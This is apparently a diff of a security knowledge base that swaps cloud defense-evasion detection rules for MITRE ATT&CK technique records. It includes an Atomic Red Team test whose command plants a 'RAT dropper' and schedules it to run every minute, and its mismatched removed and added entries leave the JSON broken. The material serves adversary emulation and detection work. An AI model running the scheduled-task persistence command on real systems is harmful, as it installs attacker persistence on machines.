is significant as it indicates potential attempts to evade logging and monitoring, which is crucial for maintaining visibility into AWS activities. If confirmed malicious, this could allow attackers to hide their tracks, making it difficult to detect further malicious actions or investigate incidents within the compromised AWS environment.", - "search": "`cloudtrail` eventName = DeleteLogGroup eventSource = logs.amazonaws.com userAgent !=console.amazonaws.com errorCode = success| stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.logGroupName) as log_group_name by src region eventName userAgent user_arn aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `aws_defense_evasion_delete_cloudwatch_log_group_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has deleted a CloudWatch logging group for account id $aws_account_id$ from IP $src$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } + "source_name": "Avast CCleaner3 2018", + "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities", + "external_id": "", + "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018." }, { - "name": "AWS Defense Evasion Impair Security Services", - "description": "The following analytic detects attempts to delete critical AWS security service configurations, such as CloudWatch alarms, GuardDuty detectors, and Web Application Firewall rules. It leverages CloudTrail logs to identify specific API calls like \"DeleteLogStream\" and \"DeleteDetector.\" This activity is significant because it indicates potential efforts to disable security monitoring and evade detection. If confirmed malicious, this could allow attackers to operate undetected, escalate privileges, or exfiltrate data without triggering security alerts, severely compromising the security posture of the AWS environment.", - "search": "`cloudtrail` eventName IN (\"DeleteLogStream\",\"DeleteDetector\",\"DeleteIPSet\",\"DeleteWebACL\",\"DeleteRule\",\"DeleteRuleGroup\",\"DeleteLoggingConfiguration\",\"DeleteAlarms\") | stats count min(_time) as firstTime max(_time) as lastTime values(eventName) as eventName values(eventSource) as eventSource values(requestParameters.*) as * by src region user_arn aws_account_id user_type user_agent errorCode| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `aws_defense_evasion_impair_security_services_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_arn$ has made potentially risky api calls $eventName$ that could impair AWS security services for account id $aws_account_id$", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "Command Five SK 2011", + "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf", + "external_id": "", + "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018." }, { - "name": "AWS Defense Evasion PutBucketLifecycle", - "description": "The following analytic detects `PutBucketLifecycle` events in AWS CloudTrail logs where a user sets a lifecycle rule for an S3 bucket with an expiration period of fewer than three days. This detection leverages CloudTrail logs to identify suspicious lifecycle configurations. This activity is significant because attackers may use it to delete CloudTrail logs quickly, thereby evading detection and impairing forensic investigations. If confirmed malicious, this could allow attackers to cover their tracks, making it difficult to trace their actions and respond to the breach effectively.", - "search": "`cloudtrail` eventName=PutBucketLifecycle user_type=IAMUser errorCode=success | spath path=requestParameters{}.LifecycleConfiguration{}.Rule{}.Expiration{}.Days output=expiration_days | spath path=requestParameters{}.bucketName output=bucket_name | stats count min(_time) as firstTime max(_time) as lastTime by src region eventName userAgent user_arn aws_account_id expiration_days bucket_name user_type| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where expiration_days < 3 | `aws_defense_evasion_putbucketlifecycle_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_arn$ has created a new rule to on an S3 bucket $bucket_name$ with short expiration days", - "risk_score": 20, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "IBM Storwize", + "url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E", + "external_id": "", + "description": "IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019." }, { - "name": "AWS Defense Evasion Stop Logging Cloudtrail", - "description": "The following analytic detects `StopLogging` events in AWS CloudTrail logs. It leverages CloudTrail event data to identify when logging is intentionally stopped, excluding console-based actions and focusing on successful attempts. This activity is significant because adversaries may stop logging to evade detection and operate stealthily within the compromised environment. If confirmed malicious, this action could allow attackers to perform further activities without being logged, hindering incident response and forensic investigations, and potentially leading to unauthorized access or data exfiltration.", - "search": "`cloudtrail` eventName = StopLogging eventSource = cloudtrail.amazonaws.com userAgent !=console.amazonaws.com errorCode = success| stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.name) as stopped_cloudtrail_name by src region eventName userAgent user_arn aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_defense_evasion_stop_logging_cloudtrail_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has stopped Cloudtrail logging for account id $aws_account_id$ from IP $src$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "external_id": "", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018." }, { - "name": "AWS Defense Evasion Update Cloudtrail", - "description": "The following analytic detects `UpdateTrail` events in AWS CloudTrail logs. It identifies attempts to modify CloudTrail settings, potentially to evade logging. The detection leverages CloudTrail logs, focusing on `UpdateTrail` events where the user agent is not the AWS console and the operation is successful. This activity is significant because altering CloudTrail settings can disable or limit logging, hindering visibility into AWS account activities. If confirmed malicious, this could allow attackers to operate undetected, compromising the integrity and security of the AWS environment.", - "search": "`cloudtrail` eventName = UpdateTrail eventSource = cloudtrail.amazonaws.com userAgent !=console.amazonaws.com errorCode = success| stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.name) as cloudtrail_name by src region eventName userAgent user_arn aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `aws_defense_evasion_update_cloudtrail_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has updated a cloudtrail logging for account id $aws_account_id$ from IP $src$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } + "source_name": "Schneider Electric USB Malware", + "url": "https://www.se.com/ww/en/download/document/SESN-2018-236-01/", + "external_id": "", + "description": "Schneider Electric. (2018, August 24). Security Notification \u2013 USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019." }, { - "name": "AWS Network Access Control List Created with All Open Ports", - "description": "The following analytic detects the creation of AWS Network Access Control Lists (ACLs) with all ports open to a specified CIDR. It leverages AWS CloudTrail events, specifically monitoring for `CreateNetworkAclEntry` or `ReplaceNetworkAclEntry` actions with rules allowing all traffic. This activity is significant because it can expose the network to unauthorized access, increasing the risk of data breaches and other malicious activities. If confirmed malicious, an attacker could exploit this misconfiguration to gain unrestricted access to the network, potentially leading to data exfiltration, service disruption, or further compromise of the AWS environment.", - "search": "`cloudtrail` eventName=CreateNetworkAclEntry OR eventName=ReplaceNetworkAclEntry requestParameters.ruleAction=allow requestParameters.egress=false requestParameters.aclProtocol=-1 | append [search `cloudtrail` eventName=CreateNetworkAclEntry OR eventName=ReplaceNetworkAclEntry requestParameters.ruleAction=allow requestParameters.egress=false requestParameters.aclProtocol!=-1 | eval port_range='requestParameters.portRange.to' - 'requestParameters.portRange.from' | where port_range>1024] | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by userName user_arn userIdentity.principalId eventName requestParameters.ruleAction requestParameters.egress requestParameters.aclProtocol requestParameters.portRange.to requestParameters.portRange.from src userAgent requestParameters.cidrBlock | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_network_access_control_list_created_with_all_open_ports_filter`", - "tags": { - "analytic_story": [ - "AWS Network ACL Activity" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has created network ACLs with all the ports open to a specified CIDR $requestParameters.cidrBlock$", - "risk_score": 48, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.007", - "mitre_attack_technique": "Disable or Modify Cloud Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "Trendmicro NPM Compromise", + "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets", + "external_id": "", + "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019." }, { - "name": "AWS Network Access Control List Deleted", - "description": "The following analytic detects the deletion of AWS Network Access Control Lists (ACLs). It leverages AWS CloudTrail logs to identify events where a user deletes a network ACL entry. This activity is significant because deleting a network ACL can remove critical access restrictions, potentially allowing unauthorized access to cloud instances. If confirmed malicious, this action could enable attackers to bypass network security controls, leading to unauthorized access, data exfiltration, or further compromise of the cloud environment.", - "search": "`cloudtrail` eventName=DeleteNetworkAclEntry requestParameters.egress=false | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by user_arn userIdentity.principalId eventName requestParameters.egress src userAgent | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_network_access_control_list_deleted_filter`", - "tags": { - "analytic_story": [ - "AWS Network ACL Activity" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ from $src$ has sucessfully deleted network ACLs entry (eventName= $eventName$), such that the instance is accessible from anywhere", - "risk_score": 5, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ + "source_name": "Microsoft Dofoil 2018", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/", + "external_id": "", + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018." + } + ], + "x_mitre_detectable_by_common_defenses": "", + "x_mitre_detectable_by_common_defenses_explanation": "", + "x_mitre_difficulty_for_adversary": "", + "x_mitre_difficulty_for_adversary_explanation": "", + "x_mitre_old_attack_id": "", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_tactic_type": [], + "x_mitre_version": "1.6", + "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "command_list": [ + "copy %temp%\\ExplorerSync.db %temp%\\..\\Microsoft\\ExplorerSync.db\nschtasks /create /tn ExplorerSync /tr \"javaw -jar %temp%\\..\\Microsoft\\ExplorerSync.db\" /sc MINUTE /f\n" + ], + "commands": [], + "queries": [], + "parsed_datasets": [ + { + "source": "atomics/T1195/T1195.yaml", + "name": "Atomic Red Team Test - Supply Chain Compromise", + "content": { + "attack_technique": "T1195", + "display_name": "Supply Chain Compromise", + "atomic_tests": [ { - "mitre_attack_id": "T1562.007", - "mitre_attack_technique": "Disable or Modify Cloud Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" + "name": "Octopus Scanner Malware Open Source Supply Chain", + "auto_generated_guid": "82a9f001-94c5-495e-9ed5-f530dbded5e2", + "description": "This test simulates an adversary Octopus drop the RAT dropper ExplorerSync.db\n[octopus-scanner-malware-open-source-supply-chain](https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/)\n[the-supreme-backdoor-factory](https://www.dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/)\n", + "supported_platforms": [ + "windows" ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" + "input_arguments": { + "rat_payload": { + "description": "RAT dropper ExplorerSync.db", + "type": "path", + "default": "$env:TEMP\\ExplorerSync.db" + } + }, + "dependency_executor_name": "powershell", + "dependencies": [ + { + "description": "ExplorerSync.db must exist on disk at specified location (#{rat_payload})\n", + "prereq_command": "if (Test-Path #{rat_payload}) {exit 0} else {exit 1}\n", + "get_prereq_command": "Out-File -FilePath \"#{rat_payload}\"\n" + } ], - "mitre_attack_groups": [ - "Magic Hound" - ] + "executor": { + "command": "copy %temp%\\ExplorerSync.db %temp%\\..\\Microsoft\\ExplorerSync.db\nschtasks /create /tn ExplorerSync /tr \"javaw -jar %temp%\\..\\Microsoft\\ExplorerSync.db\" /sc MINUTE /f\n", + "cleanup_command": "schtasks /delete /tn ExplorerSync /F 2>null\ndel %temp%\\..\\Microsoft\\ExplorerSync.db 2>null\ndel %temp%\\ExplorerSync.db 2>null\n", + "name": "command_prompt" + } } ] } - }, + } + ], + "possible_detections": [ { - "name": "Azure AD Block User Consent For Risky Apps Disabled", - "description": "The following analytic detects when the risk-based step-up consent security setting in Azure AD is disabled. It monitors Azure Active Directory logs for the \"Update authorization policy\" operation, specifically changes to the \"AllowUserConsentForRiskyApps\" setting. This activity is significant because disabling this feature can expose the organization to OAuth phishing threats by allowing users to grant consent to potentially malicious applications. If confirmed malicious, attackers could gain unauthorized access to user data and sensitive information, leading to data breaches and further compromise within the organization.", - "search": "`azure_monitor_aad` operationName=\"Update authorization policy\" | rename properties.* as * | eval index_number = if(mvfind('targetResources{}.modifiedProperties{}.displayName', \"AllowUserConsentForRiskyApps\") >= 0, mvfind('targetResources{}.modifiedProperties{}.displayName', \"AllowUserConsentForRiskyApps\"), -1) | search index_number >= 0 | eval AllowUserConsentForRiskyApps = mvindex('targetResources{}.modifiedProperties{}.newValue',index_number) | search AllowUserConsentForRiskyApps = \"[true]\" | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, operationName, AllowUserConsentForRiskyApps | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_block_user_consent_for_risky_apps_disabled_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ disabled the BlockUserConsentForRiskyApps Azure AD setting.", - "risk_score": 30, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "technique_id": "T1195", + "technique": "Supply Chain Compromise", + "tactic": [ + "initial-access" + ], + "platform": [ + "Linux", + "Windows", + "macOS" + ] }, - { - "name": "O365 Advanced Audit Disabled", - "description": "The following analytic detects instances where the O365 advanced audit is disabled for a specific user within the Office 365 tenant. It uses O365 audit logs, focusing on events related to audit license changes in AzureActiveDirectory workloads. This activity is significant because the O365 advanced audit provides critical logging and insights into user and administrator activities. Disabling it can blind security teams to potential malicious actions. If confirmed malicious, attackers could operate within the user's mailbox or account with reduced risk of detection, leading to unauthorized data access, data exfiltration, or account compromise.", - "search": "`o365_management_activity` Operation=\"Change user license.\" | eval property_name = mvindex ('ExtendedProperties{}.Name', 1) | search property_name = \"extendedAuditEventCategory\" | eval additionalDetails = mvindex('ExtendedProperties{}.Value',0) | eval split_value=split(additionalDetails, \"NewValue\") | eval possible_plan=mvindex(split_value, 1) | rex field=\"possible_plan\" \"DisabledPlans=\\[(?P[^\\]]+)\\]\" | search DisabledPlans IN (\"*M365_ADVANCED_AUDITING*\") | stats min(_time) as firstTime max(_time) as lastTime by Operation user object DisabledPlans | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_advanced_audit_disabled_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Advanced auditing for user $object$ was disabled by $user$", - "risk_score": 32, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] + [ + { + "Event ID": "4663", + "Event Name": "File monitoring" + }, + { + "Event ID": null, + "Event Name": "Web proxy" } + ], + [ + { + "Event ID": null, + "Event Name": "Web proxy" + }, + { + "Event ID": "4663", + "Event Name": "File monitoring" + } + ] + ], + "external_reference": [ + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + ], + "controls": [], + "x_mitre_network_requirements": false, + "technique_id": "T1195", + "stix": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7" + }, + { + "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "name": "Exploit Public-Facing Application", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2023-11-28T21:27:35.373Z", + "type": "attack-pattern", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Application Log: Application Log Content" + ], + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Praetorian" + ], + "x_mitre_impact_type": [], + "x_mitre_deprecated": false, + "x_mitre_effective_permissions": [], + "x_mitre_remote_support": false, + "x_mitre_permissions_required": [], + "x_mitre_is_subtechnique": false, + "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", + "x_mitre_defense_bypassed": [], + "x_mitre_system_requirements": [], + "x_mitre_attack_spec_version": "3.2.0", + "revoked": false, + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1190", + "external_id": "T1190", + "description": "" }, { - "name": "O365 Block User Consent For Risky Apps Disabled", - "description": "The following analytic detects when the \"risk-based step-up consent\" security setting in Microsoft 365 is disabled. It monitors Azure Active Directory logs for the \"Update authorization policy\" operation, specifically changes to the \"AllowUserConsentForRiskyApps\" setting. This activity is significant because disabling this feature can expose the organization to OAuth phishing threats, allowing users to grant consent to malicious applications. If confirmed malicious, attackers could gain unauthorized access to user data and sensitive information, leading to data breaches and further compromise within the organization.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Update authorization policy.\" | eval index_number = if(mvfind('ModifiedProperties{}.Name', \"AllowUserConsentForRiskyApps\") >= 0, mvfind('ModifiedProperties{}.Name', \"AllowUserConsentForRiskyApps\"), -1) | search index_number >= 0 | eval AllowUserConsentForRiskyApps = mvindex('ModifiedProperties{}.NewValue',index_number) | where AllowUserConsentForRiskyApps like \"%true%\" | stats count min(_time) as firstTime max(_time) as lastTime by user, Operation, AllowUserConsentForRiskyApps, user_agent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_block_user_consent_for_risky_apps_disabled_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Risk-based step-up consent security setting was disabled by $user$", - "risk_score": 30, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "CWE top 25", + "url": "https://cwe.mitre.org/top25/index.html", + "external_id": "", + "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019." }, { - "name": "O365 Bypass MFA via Trusted IP", - "description": "The following analytic identifies instances where new IP addresses are added to the trusted IPs list in Office 365, potentially allowing users from these IPs to bypass Multi-Factor Authentication (MFA) during login. It leverages O365 audit logs, specifically focusing on events related to the modification of trusted IP settings. This activity is significant because adding trusted IPs can weaken the security posture by bypassing MFA, which is a critical security control. If confirmed malicious, this could lead to unauthorized access, compromising sensitive information and systems. Immediate investigation is required to validate the legitimacy of the IP addition.", - "search": "`o365_management_activity` Operation=\"Set Company Information.\" ModifiedProperties{}.Name=StrongAuthenticationPolicy | rex max_match=100 field=ModifiedProperties{}.NewValue \"(?\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\/\\d{1,2})\" | rex max_match=100 field=ModifiedProperties{}.OldValue \"(?\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\/\\d{1,2})\" | eval ip_addresses_old=if(isnotnull(ip_addresses_old),ip_addresses_old,\"0\") | mvexpand ip_addresses_new_added | where isnull(mvfind(ip_addresses_old,ip_addresses_new_added)) |stats count min(_time) as firstTime max(_time) as lastTime values(ip_addresses_old) as ip_addresses_old by user ip_addresses_new_added Operation Workload vendor_account status user_id action | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `o365_bypass_mfa_via_trusted_ip_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "ip_addresses_new_added", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_id", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_id$ has added new IP addresses $ip_addresses_new_added$ to a list of trusted IPs to bypass MFA", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.007", - "mitre_attack_technique": "Disable or Modify Cloud Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "CIS Multiple SMB Vulnerabilities", + "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/", + "external_id": "", + "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018." }, { - "name": "Add or Set Windows Defender Exclusion", - "description": "The following analytic detects the use of commands to add or set exclusions in Windows Defender. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving \"Add-MpPreference\" or \"Set-MpPreference\" with exclusion parameters. This activity is significant because adversaries often use it to bypass Windows Defender, allowing malicious code to execute undetected. If confirmed malicious, this behavior could enable attackers to evade antivirus detection, maintain persistence, and execute further malicious activities without interference from Windows Defender.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process = \"*Add-MpPreference *\" OR Processes.process = \"*Set-MpPreference *\") AND Processes.process=\"*-exclusion*\" by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id 